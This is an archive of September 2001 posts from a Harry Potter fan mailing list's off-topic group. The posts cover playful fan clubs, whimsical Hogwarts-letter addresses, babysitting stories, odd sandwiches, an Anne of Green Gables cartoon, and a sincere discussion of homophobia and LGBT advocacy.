From bohners at pobox.com  Sat Sep  1 00:02:57 2001
From: bohners at pobox.com (Horst or Rebecca J. Bohner)
Date: Fri, 31 Aug 2001 20:02:57 -0400
Subject: The Snape Didn't Give A Fig About Lily Club
References: <005801c1321a$361b93c0$d0846fcb@price> <3B8FF43D.674BFEA8@texas.net>
Message-ID: <089901c13279$777e92e0$7e17fea9@bohners>

Amy Z wrote:

>>> Koinonia, if you found a Snape Didn't Give a Fig About Lily club
>>> (with a clever acronym of course), I'll pay my 2 Sickles and join up.

Sign me up, too.  I'll be Secretary/Treasurer!

and Tabouli replied:

>> Hah!  I think Amanda and I will just have to set up a Rival Club then
>> and throw tomatoes at you... (the Everything Makes Sense if Snape
>> Loved Lily Society?).

How about the Perseus Evans That Would Be Incest Society?  :)  I find it
easier to believe in Snape as Lily's cousin than her brother, but I wouldn't
be surprised if the anagram weren't a coincidence.  We already know JKR
loves to play with anagrams...
--
Rebecca J. (Anderson) Bohner
Specializing in Snape, Moody and George at
http://www.schnoogle.com/authorLinks/R_J_Anderson
and President of the "Not Only Was Snape Not In Love With Lily, He Isn't A
Vampire Either" Society




From meboriqua at aol.com  Sat Sep  1 02:13:33 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 01 Sep 2001 02:13:33 -0000
Subject: addressing your hogwarts letter
In-Reply-To: <9moo39+scv9@eGroups.com>
Message-ID: <9mpg8d+ljnr@eGroups.com>

Okay, here goes -

Jenny and Raul ('cause he's going with me)
The Couch
Studio on the Second Floor with Cat in the Window
New York City  

How's that?

--jenny from ravenclaw ************************************




From joym999 at aol.com  Sat Sep  1 04:17:17 2001
From: joym999 at aol.com (Joy M)
Date: Sat, 01 Sep 2001 04:17:17 -0000
Subject: addressing your hogwarts letter
In-Reply-To: <9mkfhs+7aps@eGroups.com>
Message-ID: <9mpngd+2vbo@eGroups.com>

Hmmmm......  I think my address would be:

Almost Dr. Joywitch M. Curmudgeon
Chained to the Computer in the Attic Office
The House with the Porch Swing and Too Many Critters
A Long Row of Houses Near the Capitol
Washington, DC, USA


You know, I hardly ever have time to drop by OT-chatter, but when I 
do it's always so much fun!





From joym999 at aol.com  Sat Sep  1 04:28:27 2001
From: joym999 at aol.com (Joy M)
Date: Sat, 01 Sep 2001 04:28:27 -0000
Subject: The people united will never be defeated
In-Reply-To: <9mp22u+dkgm@eGroups.com>
Message-ID: <9mpo5b+u60r@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> > Tabouli wrote:
> 
> > > Hah!  I think Amanda and I will just have to set up a Rival 
Club 
> then
> > > and throw tomatoes at you... (the Everything Makes Sense if 
Snape
> > > Loved Lily Society?).
> 
> 
> > Tabouli, I refuse to throw little Bobs at my left-wing soul sister
> > merely because she's deluded. Let's throw something softer.
> > 
> > --Amanda, who cannot permit injury to the one other soul on the 
> planet
> > who advocates peanut-butter-and-mayo sandwiches
> 
> Ah, now that's coalition-building in action.  Sisters across the 
> political spectrum unite to demand full equality and dignity as 
Eaters 
> of Unmentionable Sandwiches.  (EUS, pronounced "Ewww"s)
> 
> But you can go ahead and set up your Rival Club anyway.  Just hold 
the 
> tomatoes.  Get it?  Get it?
> 
> ;-)
> Amy

I am really impressed with the bad jokes and puns in this post.  I 
tried to post my admiration and AOL crashed, so you may all be 
reading this twice, but I am a great admirer of my own wit (someone 
has to be) so I will AGAIN say that I think Amy Ziffenpittzen should 
get the Seriously Hilarious, Amazingly, Deliously, Delightfully, 
Unbelievably Punny award.

--Joywitch




From neilward at dircon.co.uk  Sat Sep  1 09:05:26 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 1 Sep 2001 10:05:26 +0100
Subject: MOVIE: celebrity spotting
Message-ID: <008a01c132c5$526ff6a0$0b3670c2@c5s910j>

From:
Scrapus T Barrell, Esq.
Deputy Quillier
Department of Muggle-Wizard Interfacing,
Office Next to the Latrines
Spiral Staircase to the West Wing (except Tuesdays)
Ministry of Magic
[remainder of address obscured]

Well, actually, it's me...

I bumped into Warwick Davies yesterday (Flitwick/Goblin), riding a
leg-powered scooter along Oxford Street and carrying a small child.  He was
accompanied by a troupe of other people, of varying heights, some walking
and some on scooters.   Who knew?

I say I "bumped into" him, but it was more like "stepped aside, so he didn't
runneth me over".

I thought it might seem odd if a grown man with a briefcase asked him for an
autograph, so I decided against that.

Just thought I'd share the special moment

Neil/Flying Ford Anglia




From michelleapostolides at lineone.net  Sat Sep  1 09:04:44 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Sat, 1 Sep 2001 10:04:44 +0100
Subject: [HPFGU-OTChatter] MOVIE: celebrity spotting
References: <008a01c132c5$526ff6a0$0b3670c2@c5s910j>
Message-ID: <002801c132c5$25f14700$86357bd5@tmeltcds>

So you survived the babysitting then ? 

Michelle




From neilward at dircon.co.uk  Sat Sep  1 12:46:15 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 1 Sep 2001 13:46:15 +0100
Subject: Babysitting
References: <008a01c132c5$526ff6a0$0b3670c2@c5s910j> <002801c132c5$25f14700$86357bd5@tmeltcds>
Message-ID: <005501c132e4$2b873ca0$5c3670c2@c5s910j>

Michelle said:

> So you survived the babysitting then ?

Perhaps I should elaborate on Shelly Elf's question: I was looking after my
two nieces last night.  Those of you with children will probably laugh your
heads off at the fact that I see babysitting for a night as a bit of a
treat, but you must allow this childless bachelor his rose-tinted view of
parenting.

All went smoothly.  Josie (nearly 3) was an angel, apart from her remark:
"Uncle Neil, you've eaten too much food!" (time to check out that diet
again).  She also informed me that the pair of them had recently been
allowed to stay up "after Mummy and Daddy had had *their* dinner" to watch
"Jasick Park".  Her collection of plastic dinosaurs is very impressive.

Alison (nearly 5) was amazed to hear that I'd met my sister-in-law's
parents - aka Nana and Grandad.  "I didn't know that," she informed me,
snootily.  Later, when were on feeble excuse #4 for her coming downstairs
after bedtime, she asked me if I also knew Grandma and Grandad.  "Of course
I do, Alison," I replied, "Grandma and Grandad are my Mummy and Daddy".  "No
they're not," she retorted, "they're *Daddy's* Mummy and Daddy".   This
resulted in a lengthy discussion about the family tree, which was probably
her intention (given that she's seen me with my parents on numerous
occasions).

Uncle Ford Anglia

Last book read: "Mr Strong" - Roger Hargreaves (out loud)
Last song heard: "Twinkle, Twinkle, Little Star" - Josephine Ward, 2 and 10
months (live performance)
Favourite doll: the one that "has pants under here - look!"







From s_ings at yahoo.com  Sat Sep  1 13:58:07 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Sat, 1 Sep 2001 06:58:07 -0700 (PDT)
Subject: EUS (was Re: [HPFGU-OTChatter] The people united will never be defeated)
In-Reply-To: <9mp22u+dkgm@eGroups.com>
Message-ID: <20010901135807.31014.qmail@web14606.mail.yahoo.com>


--- Amy Z <aiz24 at hotmail.com> wrote:
> > Tabouli, I refuse to throw little Bobs at my
> left-wing soul sister
> > merely because she's deluded. Let's throw
> something softer.
> > 
> > --Amanda, who cannot permit injury to the one
> other soul on the 
> planet
> > who advocates peanut-butter-and-mayo sandwiches
> 
> Ah, now that's coalition-building in action. 
> Sisters across the 
> political spectrum unite to demand full equality and
> dignity as Eaters 
> of Unmentionable Sandwiches.  (EUS, pronounced
> "Ewww"s)
> 
> But you can go ahead and set up your Rival Club
> anyway.  Just hold the 
> tomatoes.  Get it?  Get it?
> 
> ;-)
> Amy

Okay, just how unmentionable does the sandwich have to
be? Does peanut butter, bacon and alfalfa sprouts
count? Can I join EUS now, can I please? <vbg>

Sheryll, whose sister taught her to eat peanut butter
and sugar sandwiches

=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
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From s_ings at yahoo.com  Sat Sep  1 14:09:17 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Sat, 1 Sep 2001 07:09:17 -0700 (PDT)
Subject: Amanda, take note (was [HPFGU-OTChatter] Re: Babysitting)
In-Reply-To: <005501c132e4$2b873ca0$5c3670c2@c5s910j>
Message-ID: <20010901140917.98173.qmail@web14601.mail.yahoo.com>

Neil, 

You best be careful of saying that you see babysitting
as a bit of a treat. The next thing you know, Amanda
will be sending you airfare to Texas and giving you
full charge of her three children. Right Amanda? It
will prevent her having to use chemical parenting to
get free time to come into chat on Sundays. <g>

Sheryll, who once babysat her niece and nephews for 8
straight days (but got paid for it)

--- Neil Ward <neilward at dircon.co.uk> wrote:
> Michelle said:
> 
> > So you survived the babysitting then ?
> 
> Perhaps I should elaborate on Shelly Elf's question:
> I was looking after my
> two nieces last night.  Those of you with children
> will probably laugh your
> heads off at the fact that I see babysitting for a
> night as a bit of a
> treat, but you must allow this childless bachelor
> his rose-tinted view of
> parenting.
> 
> All went smoothly.  Josie (nearly 3) was an angel,
> apart from her remark:
> "Uncle Neil, you've eaten too much food!" (time to
> check out that diet
> again).  She also informed me that the pair of them
> had recently been
> allowed to stay up "after Mummy and Daddy had had
> *their* dinner" to watch
> "Jasick Park".  Her collection of plastic dinosaurs
> is very impressive.
> 
> Alison (nearly 5) was amazed to hear that I'd met my
> sister-in-law's
> parents - aka Nana and Grandad.  "I didn't know
> that," she informed me,
> snootily.  Later, when were on feeble excuse #4 for
> her coming downstairs
> after bedtime, she asked me if I also knew Grandma
> and Grandad.  "Of course
> I do, Alison," I replied, "Grandma and Grandad are
> my Mummy and Daddy".  "No
> they're not," she retorted, "they're *Daddy's* Mummy
> and Daddy".   This
> resulted in a lengthy discussion about the family
> tree, which was probably
> her intention (given that she's seen me with my
> parents on numerous
> occasions).
> 
> Uncle Ford Anglia
> 
> Last book read: "Mr Strong" - Roger Hargreaves (out
> loud)
> Last song heard: "Twinkle, Twinkle, Little Star" -
> Josephine Ward, 2 and 10
> months (live performance)
> Favourite doll: the one that "has pants under here -
> look!"
> 
> 
> 
> 
> 
> ------------------------ Yahoo! Groups Sponsor
> 
> To unsubscribe from this group, send an email to:
> HPFGU-OTChatter-unsubscribe at yahoogroups.com
> 
>  
> 
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/ 
> 
> 


=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From hamster8 at hotmail.com  Sat Sep  1 14:43:53 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Sat, 01 Sep 2001 14:43:53 -0000
Subject: Vile sandwiches (was EUS, was People United ...)
In-Reply-To: <20010901135807.31014.qmail@web14606.mail.yahoo.com>
Message-ID: <9mqs79+8li4@eGroups.com>


Various other people ... 

"... who advocates peanut-butter-and-mayo sandwiches ..."

"... Okay, just how unmentionable does the sandwich have to
be? Does peanut butter, bacon and alfalfa sprouts
count? Can I join EUS now, can I please? <vbg> ..."

"... peanut butter and sugar sandwiches ..."

I am told of the existence of a honey and marmite sandwich, at one 
time.  Thankfully I did not eat it.  My brother used to favour peanut 
butter (crunchy) and honey.  And I once tried banana, chocolate and 
honey.

Sheryll, how about human and ketchup?

Al
-Where schnoogling happens a lot, and we think Nancy Stouffer is hot.
-Check out the new chapter of Syzygy at http://www.thedarkarts.org




From hamster8 at hotmail.com  Sat Sep  1 15:09:27 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Sat, 01 Sep 2001 15:09:27 -0000
Subject: The Tolerance.org banners ...
Message-ID: <9mqtn7+vdrq@eGroups.com>

Unlike the majority of the banners we get around here, this is 
actually a very interesting site, and quite scarily revealing.  I 
recommend you all check it out.  The hidden bias tests especially are 
worth a try - you may surprise yourself.

Al




From tabouli at unite.com.au  Sat Sep  1 16:32:28 2001
From: tabouli at unite.com.au (Tabouli)
Date: Sun, 2 Sep 2001 02:32:28 +1000
Subject: Homophobia
Message-ID: <00a401c13303$f64c5280$0693aecb@price>

Amy Z:

> The very fact that "moony-moony"* slash garners this kind of attention and shock, while 
more explicit hetero fiction doesn't, would probably prove their 
point: slash fiction hurts the franchise.  It's hypocritical for 
people to faint dead away when m/m couples walk by holding hands while 
not blinking at the sight of m/f couples sucking face, but as long as 
there is a double standard in the public, I would think that WB could 
exert a double standard in its lawsuit, public perception being the entire point.

Sighhhh.  Hypocritical is the least of it.  I get so irritated by the sort of people who prance about saying things like "I don't care if people are gay, as long as they don't flaunt it in public" about gay couples holding hands, and then dive onto the lawns with their heterosexual partner and roll about with their hands inside each other's clothing and their tongues down each other's throats.

I'm pretty strident in my equal rights stance here... I think it's abominable that gay couples risk being physically attacked for doing things in public that heterosexual couples exceed all the time.  I was in Amsterdam for the 1998 Gay Games and I was so heartened to see gay couples wandering about hand in hand as if it were the most natural things in the world (not as a nervous but defiant gesture of solidarity).

I also have a gay friend who was beaten up by a bunch of swaggering teenagers a couple of years ago because he refuses to toe the double standard line and kisses his boyfriend good-bye in public, etc., which evoked a curious mixed reaction in me.  Part of me applauds his stand on the issue, part of me thought that he was foolish to put himself at risk.  Perhaps I could reconcile the two parts by advising him to take up martial arts and give himself a fighting chance at defending himself if he plans to continue his stand... I myself did enough karate to get to brown belt and then fled because I was getting high enough in the ranks to risk serious injury every time we did combat practice (I've heard of people in hospital with ruptured spleens after black belt gradings... uurrrk, no thanks).

Tabouli.


[Non-text portions of this message have been removed]




From crowswolf at sympatico.ca  Sat Sep  1 20:31:17 2001
From: crowswolf at sympatico.ca (Jamieson Wolf Villeneuve)
Date: Sat, 01 Sep 2001 20:31:17 -0000
Subject: Homophobia
In-Reply-To: <00a401c13303$f64c5280$0693aecb@price>
Message-ID: <9mrgil+donj@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tabouli" <tabouli at u...> wrote:

Hello All,

I don't usually comment on stuff like this, but what the hey, it's 
been that kind of day..


<<snip>> 
I think it's 
abominable that gay couples risk being physically attacked for doing 
things in public that heterosexual couples exceed all the time.
<<snip>>

Very true. It's hard to be gay and be public about it. I don't like to 
see anyone sucking face in public, but a kiss here and ther is Okay, 
as is holding hands. For me, that goes for everyone. The world tends 
to preach oppeness and acceptability, but it all comes down to how 
people feel. Peoples views and opinions  tend to have a lot of baring 
on how they react to things. I just think it's sad that I can't hold 
my bf's hand in public without having people look, stare and yell 
things like f****t and the like. It's saddening, but you get used to 
it. It becomes a part of who you are, always with one foot in the 
closet.


<<snip>>
Part of me applauds his stand 
on the issue, part of me thought that he was foolish to put himself at 
risk.  
<<snip>>

It evokes a double reaction in everyone. I do what I want, when I want 
to, even if it means holding my bf's hand in public. But it's like a 
constant fear, sometimes. Will I get hurt doing this? Will I shock 
others with the most natural of gestures? Even though I say I don't 
care, get used to it, we're here, we're queer, blah blah blah, theres 
still that little bit of me that feels I'm breaking some sort of law 
by doing so. 

I've been beaten and worse for being something I can't help being. 
It's a battle of sorts. I know that those that disaprove might always 
disaprove, and theres nothing that I can do to change that. However, 
if I can let one person know what it feels like, then it's worth it. 

Anyway, now I'm rambling. Hugs to you all...

Jamieson




From s_ings at yahoo.com  Sat Sep  1 21:40:05 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Sat, 1 Sep 2001 14:40:05 -0700 (PDT)
Subject: [HPFGU-OTChatter] Re: Homophobia
In-Reply-To: <9mrgil+donj@eGroups.com>
Message-ID: <20010901214005.57679.qmail@web14604.mail.yahoo.com>

Excellents posts, both of you. Let me throw another
thought out to you. Let's not forget that the
discrimination goes both ways. Having been the 'token'
straight person in a GLBT organisation for the past 4
years, I've experienced myself, though certainly not
to the extent that members of the GLBT community have
experienced intolerance from the straight community.
When first elected to our Board of Directors, the
local GLBT newspaper wanted to write a rather scathing
article about my presence withing the organisation.
Kind of a 'what do we care what the straight people
think' sort of thing. It was only the threat of a
reverse discrimination lawsuit that stopped them. 

This past summer, and I think Jamieson can attest to
this one, I was on the receiving end of some rather
nasty stuff from one of our stage performers, who
seemed to think I had no business putting a straight
performer on stage for Pride Day. My criteria for
performers did not include asking their sexual
preference. The last phone call I received from said
disgruntled performer began not with 'hello' but with
the remark 'well, I hear you're not a member of the
community either'. Hmmm... my reply? 'If you mean, I'm
married to a member of the opposite sex, you're right.
What does this have to do with anything?' Needless to
say, I was met with a few moments of silence on the
other end of the phone line.

Just a few of my experiences. Certainly nothing
compared to the discrimination, intolerance and
violence experienced by members of the GBLT community,
just something to show it goes both ways.

Sheryll, who knows she's been rambling, but Jamieson
knows what a desperately difficult 4 years I've had
working with Pride

--- Jamieson Wolf Villeneuve <crowswolf at sympatico.ca>
wrote:
> --- In HPFGU-OTChatter at y..., "Tabouli"
> <tabouli at u...> wrote:
> 
> Hello All,
> 
> I don't usually comment on stuff like this, but what
> the hey, it's 
> been that kind of day..
> 
> 
> <<snip>> 
> I think it's 
> abominable that gay couples risk being physically
> attacked for doing 
> things in public that heterosexual couples exceed
> all the time.
> <<snip>>
> 
> Very true. It's hard to be gay and be public about
> it. I don't like to 
> see anyone sucking face in public, but a kiss here
> and ther is Okay, 
> as is holding hands. For me, that goes for everyone.
> The world tends 
> to preach oppeness and acceptability, but it all
> comes down to how 
> people feel. Peoples views and opinions  tend to
> have a lot of baring 
> on how they react to things. I just think it's sad
> that I can't hold 
> my bf's hand in public without having people look,
> stare and yell 
> things like f****t and the like. It's saddening, but
> you get used to 
> it. It becomes a part of who you are, always with
> one foot in the 
> closet.
> 
> 
> <<snip>>
> Part of me applauds his stand 
> on the issue, part of me thought that he was foolish
> to put himself at 
> risk.  
> <<snip>>
> 
> It evokes a double reaction in everyone. I do what I
> want, when I want 
> to, even if it means holding my bf's hand in public.
> But it's like a 
> constant fear, sometimes. Will I get hurt doing
> this? Will I shock 
> others with the most natural of gestures? Even
> though I say I don't 
> care, get used to it, we're here, we're queer, blah
> blah blah, theres 
> still that little bit of me that feels I'm breaking
> some sort of law 
> by doing so. 
> 
> I've been beaten and worse for being something I
> can't help being. 
> It's a battle of sorts. I know that those that
> disaprove might always 
> disaprove, and theres nothing that I can do to
> change that. However, 
> if I can let one person know what it feels like,
> then it's worth it. 
> 
> Anyway, now I'm rambling. Hugs to you all...
> 
> Jamieson
> 
> 
> ------------------------ Yahoo! Groups Sponsor
> 
> To unsubscribe from this group, send an email to:
> HPFGU-OTChatter-unsubscribe at yahoogroups.com
> 
>  
> 
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/ 
> 
> 


=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From s_ings at yahoo.com  Sat Sep  1 21:52:38 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Sat, 1 Sep 2001 14:52:38 -0700 (PDT)
Subject: [HPFGU-OTChatter] Vile sandwiches (was EUS, was People United ...)
In-Reply-To: <9mqs79+8li4@eGroups.com>
Message-ID: <20010901215238.97889.qmail@web14610.mail.yahoo.com>


--- hamster8 at hotmail.com wrote:
> 
> Various other people ... 
> 
> "... who advocates peanut-butter-and-mayo sandwiches
> ..."
> 
> "... Okay, just how unmentionable does the sandwich
> have to
> be? Does peanut butter, bacon and alfalfa sprouts
> count? Can I join EUS now, can I please? <vbg> ..."
> 
> "... peanut butter and sugar sandwiches ..."
> 
> I am told of the existence of a honey and marmite
> sandwich, at one 
> time.  Thankfully I did not eat it.  My brother used
> to favour peanut 
> butter (crunchy) and honey.  And I once tried
> banana, chocolate and 
> honey.
> 
> Sheryll, how about human and ketchup?
> 
> Al

Al, the human and ketchup only tastes good if you're a
dragon <vbg> Peanut butter and honey, on the other
hand, is a perfectly acceptable combination around
here and was one of our staple foods when packing
school lunches.

To add to the list of vile sandwiches, I had a
neighbour who used to eat ketchup sandwiches. Yup,
just bread and ketchup. Yuck. Oh, and mustard
sandwiches. Double yuck.

Sheryll, who only uses ketchup on hotdogs and
hamburgers, and only when there's nothing else good to
put on them 

=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From catlady at wicca.net  Sat Sep  1 23:00:45 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 01 Sep 2001 23:00:45 -0000
Subject: Tolerance and Homophobia (combined topics) 
Message-ID: <9mrpat+hgqr@eGroups.com>

Al recommended the tolerance.org banners

(which does not mean one who or that which bans)

Al, if the site is so good, why didn't you give the URL?

Jamieson wrote:

> I've been beaten and worse for being something
> I can't help being. It's a battle of sorts.

Oh, Jamieson, my heart hurts to think of someone as young as you 
(not intended to be rude, of course you are a grown-up, but you 
are young enough to be my son without hypothesizing teen 
parenthood) being hurt like that. The human world is so nasty.

(note that as a heterosexual female, I can walk holding hands with a 
female friend and I don't think anyone even notices.)

Btw, praise on your excellent snipping of the quoted post.

Sheryll signed off with

> Sheryll, who knows she's been rambling, but 
> Jamieson knows what a desperately  difficult
> 4 years I've had working with Pride

Poor Sheryll. Virtual hugs are contained herein.




From absinthe at mad.scientist.com  Sat Sep  1 23:24:32 2001
From: absinthe at mad.scientist.com (Milz)
Date: Sat, 01 Sep 2001 23:24:32 -0000
Subject: Anne of Green Gables: Animated Series
Message-ID: <9mrqng+n8dc@eGroups.com>

Attention Kindred Spirits (in the US):

Check your local PBS listings for the new animated series. The review 
in my newspaper says it will feature Anne, Diana, Gilbert and Marilla 
(I guess it's set around the time of the "Anne of Green Gables" book). 
The eye-brow raising news is that the animation allows "the 
introduction of fairies, wood nymphs and goblins" within the 
series....I don't know if this is a bad thing or a good thing, hmmmm.





From lady.nymphaea at faerielands.com  Sat Sep  1 23:50:12 2001
From: lady.nymphaea at faerielands.com (lady.nymphaea at faerielands.com)
Date: Sat, 01 Sep 2001 23:50:12 -0000
Subject: Anne of Green Gables: Animated Series
In-Reply-To: <9mrqng+n8dc@eGroups.com>
Message-ID: <9mrs7k+57ce@eGroups.com>

--- In HPFGU-OTChatter at y..., "Milz" <absinthe at m...> wrote:
> Attention Kindred Spirits (in the US):
> 
> Check your local PBS listings for the new animated series. The 
review 
> in my newspaper says it will feature Anne, Diana, Gilbert and 
Marilla 
> (I guess it's set around the time of the "Anne of Green Gables" 
book). 
> The eye-brow raising news is that the animation allows "the 
> introduction of fairies, wood nymphs and goblins" within the 
> series....I don't know if this is a bad thing or a good thing, 
hmmmm.

Sounds pretty eh to me. I found the official site 
(http://www.annetoon.com/) and I'm not so sure on this one. The local 
PBS affiliate in Minneapolis isn't running it, I see.

If anyone's seen the Anne of Green Gables anime (according to 
http://www.interlog.com/~castle/akagenoan/ , it was translated into 
French also) I'd like to hear what you thought of it. With the series 
now running, there's probably no chance of this ever getting 
officially translated into English.

Meril




From blpurdom at yahoo.com  Sun Sep  2 01:04:03 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 02 Sep 2001 01:04:03 -0000
Subject: Homophobia
In-Reply-To: <20010901214005.57679.qmail@web14604.mail.yahoo.com>
Message-ID: <9ms0i3+q7gb@eGroups.com>

--- In HPFGU-OTChatter at y..., Sheryll Townsend <s_ings at y...> wrote:
 Having been the 'token'
> straight person in a GLBT organisation for the past 4
> years....
 
Hey, there, Sheryll!  I know where you're coming from.  My husband 
and I are fighting GLBT stereotyping on two fronts.  First, we are 
working to convince people in the general population that there are 
people of faith that support GLBT rights, and second, we are trying 
to convince GLBT people (admittedly jaded) that not all people of 
faith hate them.  It's a balancing act.

But while my husband and I get strange looks (as well as frequent and 
loud applause!) for marching in the Pride Parade with our kids and 
other church members, including our minister (carrying our church 
banner prominently, for all to see!) it is mostly hetero folks who 
don't understand why we work for the civil rights of a group that 
doesn't include us.  (I try to remind them of all of the folks who 
were not black who rode on the buses to go down south during the 
sixties, but THAT'S DIFFERENT in their minds).  Evidently, you are 
only ever supposed to stand up for your own rights, not the rights of 
other marginalized people.  This makes us inexplicable weirdos.  
Added to this is the fact that we are doing this within the religious 
community.  We grew very, very tired over the years of news coverage 
of GLBT issues always pitting the 'godless' gays against the 
religious community, and finally stood up to say that there are many 
people of faith from many religious traditions who wholeheartedly 
support GLBT rights, and in fact feel that our diverse religious 
tenets MANDATE that we do so!

My husband and I now run a non-profit with almost 100 local clergy, 
congregations and religious organizations on the letterhead (and over 
425 on the mailing list) who are there to show their support for GLBT 
rights, reproductive freedom and separation of church and state.  
When there was a battle in our city council for a Domestic 
Partnership ordinance that would give many rights to same-gender 
couples already enjoyed by married mixed-gender couples, I called in 
every favor I had with the local clergy, and in the end, 13 out of 
the 15 clergy who testified for the legislation were there because of 
the calls I made.  ONLY THREE CLERGY WERE THERE FROM THE OTHER SIDE!  
They were so confident that they'd win, they didn't try to get many 
folks there.  In the end, we prevailed, but it was a nail-biter.

The first two weddings we took our children to were both same-gender 
ceremonies!  They never even saw a wedding with a man and a woman 
until we went to my husband's cousin's wedding last year!  It's so 
hard to raise one's children to be unbiased in a culture which wants 
everything to be structured according to gender, from the color 
schemes that the toy companies use for products aimed at boys vs. 
girls to the fact that J.K. Rowling was told to use her initials so 
that boys wouldn't know she was a woman.

If anyone is interested in learning more about the work we're doing, 
the name of the organization is the Interfaith Working Group, and our 
website is 

http://www.iwgonline.org

I'm just waiting for religious right loonies to crop up again 
claiming that HP slash is further proof of why kids shouldn't read 
Harry Potter.  Soon my two hobbies may merge, and I'll be writing 
letters on IWG stationery to publications about Harry Potter slash...

Life is weird.

--Barb





From ebonyink at hotmail.com  Sun Sep  2 01:14:29 2001
From: ebonyink at hotmail.com (Ebony)
Date: Sun, 02 Sep 2001 01:14:29 -0000
Subject: Anne of Green Gables: Animated Series
In-Reply-To: <9mrqng+n8dc@eGroups.com>
Message-ID: <9ms15l+e4ea@eGroups.com>

--- In HPFGU-OTChatter at y..., "Milz" <absinthe at m...> wrote:
> Attention Kindred Spirits (in the US):
> 
> Check your local PBS listings for the new animated series. The 
review 
> in my newspaper says it will feature Anne, Diana, Gilbert and 
Marilla 
> (I guess it's set around the time of the "Anne of Green Gables" 
book). 
> The eye-brow raising news is that the animation allows "the 
> introduction of fairies, wood nymphs and goblins" within the 
> series....I don't know if this is a bad thing or a good thing, 
hmmmm.


It's a Very Bad Thing.  Kevin Sullivan's behind this.  He's made a 
cinematic career from destroying LMM's work... and he annoys me.

Someone mentioned the possibility of a movie based on "The Blue 
Castle".  PLEASE, not if it's made by Sully or Cinar/Salter Street 
Films.  They've ruined enough of Maud's stories for millions already.

--Ebony, who's been absent from KS for a long time and really ought 
to check in.




From editor at texas.net  Sun Sep  2 02:17:20 2001
From: editor at texas.net (Amanda Lewanski)
Date: Sat, 01 Sep 2001 21:17:20 -0500
Subject: [HPFGU-OTChatter] Vile sandwiches (was EUS, was People United ...)
References: <9mqs79+8li4@eGroups.com>
Message-ID: <3B9196AF.42D8A9D8@texas.net>

hamster8 at hotmail.com wrote:

> I am told of the existence of a honey and marmite sandwich, at one
> time.

Marmite is illegal in Texas.

> My brother used to favour peanut butter (crunchy) and honey.

I take exception to peanut butter-and-honey appearing under any heading
including the words "vile sandwiches." I *still* favor pb-&-honey, and
have made it on occasion for my kids' school lunches. There's not the
slightest thing vile about it (unless Australian bees are not as
talented as, say, those that make the divine Uvalde honey?).

>  And I once tried banana, chocolate and honey.

And this sounds delightful. Bananas and peanut butter are wonderful,
too, but too hard to make into a sandwich.

--Amanda


[Non-text portions of this message have been removed]




From editor at texas.net  Sun Sep  2 02:47:45 2001
From: editor at texas.net (Amanda Lewanski)
Date: Sat, 01 Sep 2001 21:47:45 -0500
Subject: Amanda, take note (was [HPFGU-OTChatter] Re: Babysitting)
References: <20010901140917.98173.qmail@web14601.mail.yahoo.com>
Message-ID: <3B919DD0.36ECBAB6@texas.net>

Sheryll Townsend wrote:

> You best be careful of saying that you see babysitting
> as a bit of a treat. The next thing you know, Amanda
> will be sending you airfare to Texas and giving you
> full charge of her three children. Right Amanda?

Far from it. I'd *never* do a thing like that. Perish the thought!

If I did that, he could easily refuse to come. I'll just send the kids
along, and make sure a stewardess keeps an eye on them until they land.
The airline agents can call Neil from the airport to pick them up (what
zone does a flying ford anglia park in...?).

> > Last book read: "Mr Strong" - Roger Hargreaves (out
> > loud)
> > Last song heard: "Twinkle, Twinkle, Little Star" -
> > Josephine Ward, 2 and 10
> > months (live performance)
> > Favourite doll: the one that "has pants under here -
> > look!"

Neil, the mental images conjured up by those sig lines are just
adorable. I bet you're a really fun uncle. I wish I *could* let my
little ones play with you....

--Amanda


[Non-text portions of this message have been removed]




From jenP_97 at yahoo.com  Sun Sep  2 05:37:27 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Sun, 02 Sep 2001 05:37:27 -0000
Subject: Quick question: (hope this isn't a duplicate...)
Message-ID: <9msgin+me77@eGroups.com>

Duplicate subject, that is - I hit enter too fast, and I think I 
posted a blank message back there.......

Anyway, there are some member pics in the files section over on the 
left-hand side over there, and I was wondering something.  Neil's sig 
about hearing Twinkle Twinkle Little Star made me wonder if it would 
be okay if I posted an MP3 of my daughter singing.

So, would anyone mind the use of the file space?  Should I create a 
different folder?  

Jen (whose daughter doesn't sing Twinkle Twinkle, she sings Wingle 
Wingle)






From s_ings at yahoo.com  Sun Sep  2 09:13:16 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Sun, 2 Sep 2001 02:13:16 -0700 (PDT)
Subject: [HPFGU-OTChatter] Re: addressing your hogwarts letter
In-Reply-To: <9moo39+scv9@eGroups.com>
Message-ID: <20010902091316.18214.qmail@web14601.mail.yahoo.com>

I've been getting a smile from everyone's addresses,
but it took me while to come up with mine.

Mrs. Sheryll Townsend
The Bedroom that Used to be a Kitchen
The White House with the Porch Posts Wrapped in
Plastic
The Little Street That's Uphill on Both Ends
